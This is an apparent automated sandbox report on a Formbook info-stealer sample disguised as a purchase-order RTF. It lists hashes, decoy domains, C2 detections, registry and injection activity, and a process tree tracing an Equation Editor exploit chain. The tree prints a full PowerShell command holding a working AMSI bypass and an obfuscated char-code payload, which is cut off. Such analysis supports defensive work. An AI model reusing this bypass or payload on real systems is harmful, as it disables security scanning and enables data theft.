formbook | a4f65315564c8a012c86e0f02d90d07246dbcf41347c37b93cad43b39d24f61e

General

Target

PO-4015 DNX.rtf
Size

2.2MB
MD5

3f3c326776d1cca4140aec54899dd232
SHA1

22f2608fde8860771b405b82bea6ec7b90aa2e13
SHA256

a4f65315564c8a012c86e0f02d90d07246dbcf41347c37b93cad43b39d24f61e
SHA512

703e07ea7cc623deb50fc76b5edda62e11e26c5ac37024accb5c35031c514ca13183998d2810097018118bf4ff8da98911ff4e3ba604a671c216a0b511da39b8

Score

10^/10

formbook n2t4 rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

n2t4

Decoy

afvqag.icu

sharekhaneducation.co

celaty.xyz

charmingdat.com

trinitylegal.site

nuookh.site

stetnercreek.com

likeaduckinwater.xyz

yanhuan.icu

minxandmolly.com

tofindingwellness.com

sydneycemeteries.net

amethystwares.com

onglaprimaveradeljardin.online

majoroakdigital.com

xlr8s.net

jbrcvy.icu

decorator.company

compubonsai.com

seripo.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1836	1136	Powershell.exe

suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1264-75-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1976-81-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

6 1836 Powershell.exe
8 1836 Powershell.exe

flow	pid	process
6	1836	Powershell.exe
8	1836	Powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

Powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Powershell.execalc.execmmon32.exe

description	pid	process	target process
PID 1836 set thread context of 1264	1836	Powershell.exe	calc.exe
PID 1264 set thread context of 1384	1264	calc.exe	Explorer.EXE
PID 1976 set thread context of 1384	1976	cmmon32.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

652 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
652	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

948 WINWORD.EXE

pid	process
948	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 26 IoCs

Processes:

Powershell.execalc.execmmon32.exe

pid	process
1836	Powershell.exe
1836	Powershell.exe
1836	Powershell.exe
1264	calc.exe
1264	calc.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe
1976	cmmon32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1384 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

calc.execmmon32.exe

pid process

1264 calc.exe
1264 calc.exe
1264 calc.exe
1976 cmmon32.exe
1976 cmmon32.exe

pid	process
1384	Explorer.EXE

pid	process
1264	calc.exe
1264	calc.exe
1264	calc.exe
1976	cmmon32.exe
1976	cmmon32.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

Processes:

Powershell.execalc.execmmon32.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	1836	Powershell.exe
Token: SeIncreaseQuotaPrivilege	1836	Powershell.exe
Token: SeSecurityPrivilege	1836	Powershell.exe
Token: SeTakeOwnershipPrivilege	1836	Powershell.exe
Token: SeLoadDriverPrivilege	1836	Powershell.exe
Token: SeSystemProfilePrivilege	1836	Powershell.exe
Token: SeSystemtimePrivilege	1836	Powershell.exe
Token: SeProfSingleProcessPrivilege	1836	Powershell.exe
Token: SeIncBasePriorityPrivilege	1836	Powershell.exe
Token: SeCreatePagefilePrivilege	1836	Powershell.exe
Token: SeBackupPrivilege	1836	Powershell.exe
Token: SeRestorePrivilege	1836	Powershell.exe
Token: SeShutdownPrivilege	1836	Powershell.exe
Token: SeDebugPrivilege	1836	Powershell.exe
Token: SeSystemEnvironmentPrivilege	1836	Powershell.exe
Token: SeRemoteShutdownPrivilege	1836	Powershell.exe
Token: SeUndockPrivilege	1836	Powershell.exe
Token: SeManageVolumePrivilege	1836	Powershell.exe
Token: 33	1836	Powershell.exe
Token: 34	1836	Powershell.exe
Token: 35	1836	Powershell.exe
Token: SeDebugPrivilege	1264	calc.exe
Token: SeDebugPrivilege	1976	cmmon32.exe
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE
Token: SeShutdownPrivilege	1384	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

948 WINWORD.EXE
948 WINWORD.EXE

pid	process
948	WINWORD.EXE
948	WINWORD.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EQNEDT32.EXECmD.exeWINWORD.EXEPowershell.exeExplorer.EXEcmmon32.exe

description	pid	process	target process
PID 652 wrote to memory of 1016	652	EQNEDT32.EXE	CmD.exe
PID 652 wrote to memory of 1016	652	EQNEDT32.EXE	CmD.exe
PID 652 wrote to memory of 1016	652	EQNEDT32.EXE	CmD.exe
PID 652 wrote to memory of 1016	652	EQNEDT32.EXE	CmD.exe
PID 1016 wrote to memory of 1220	1016	CmD.exe	cscript.exe
PID 1016 wrote to memory of 1220	1016	CmD.exe	cscript.exe
PID 1016 wrote to memory of 1220	1016	CmD.exe	cscript.exe
PID 1016 wrote to memory of 1220	1016	CmD.exe	cscript.exe
PID 948 wrote to memory of 1628	948	WINWORD.EXE	splwow64.exe
PID 948 wrote to memory of 1628	948	WINWORD.EXE	splwow64.exe
PID 948 wrote to memory of 1628	948	WINWORD.EXE	splwow64.exe
PID 948 wrote to memory of 1628	948	WINWORD.EXE	splwow64.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1836 wrote to memory of 1264	1836	Powershell.exe	calc.exe
PID 1384 wrote to memory of 1976	1384	Explorer.EXE	cmmon32.exe
PID 1384 wrote to memory of 1976	1384	Explorer.EXE	cmmon32.exe
PID 1384 wrote to memory of 1976	1384	Explorer.EXE	cmmon32.exe
PID 1384 wrote to memory of 1976	1384	Explorer.EXE	cmmon32.exe
PID 1976 wrote to memory of 1620	1976	cmmon32.exe	cmd.exe
PID 1976 wrote to memory of 1620	1976	cmmon32.exe	cmd.exe
PID 1976 wrote to memory of 1620	1976	cmmon32.exe	cmd.exe
PID 1976 wrote to memory of 1620	1976	cmmon32.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO-4015 DNX.rtf"
2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1628

C:\Windows\SysWOW64\autoconv.exe
"C:\Windows\SysWOW64\autoconv.exe"
2⤵
PID:1208

C:\Windows\SysWOW64\cmmon32.exe
"C:\Windows\SysWOW64\cmmon32.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\calc.exe"
3⤵
PID:1620

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\SysWOW64\CmD.exe
CmD.exe /C cscript %tmp%\Client.vbs AC
2⤵
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC
3⤵
PID:1220

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like '*Context') {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1);$38487558589393948578389292983848555=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,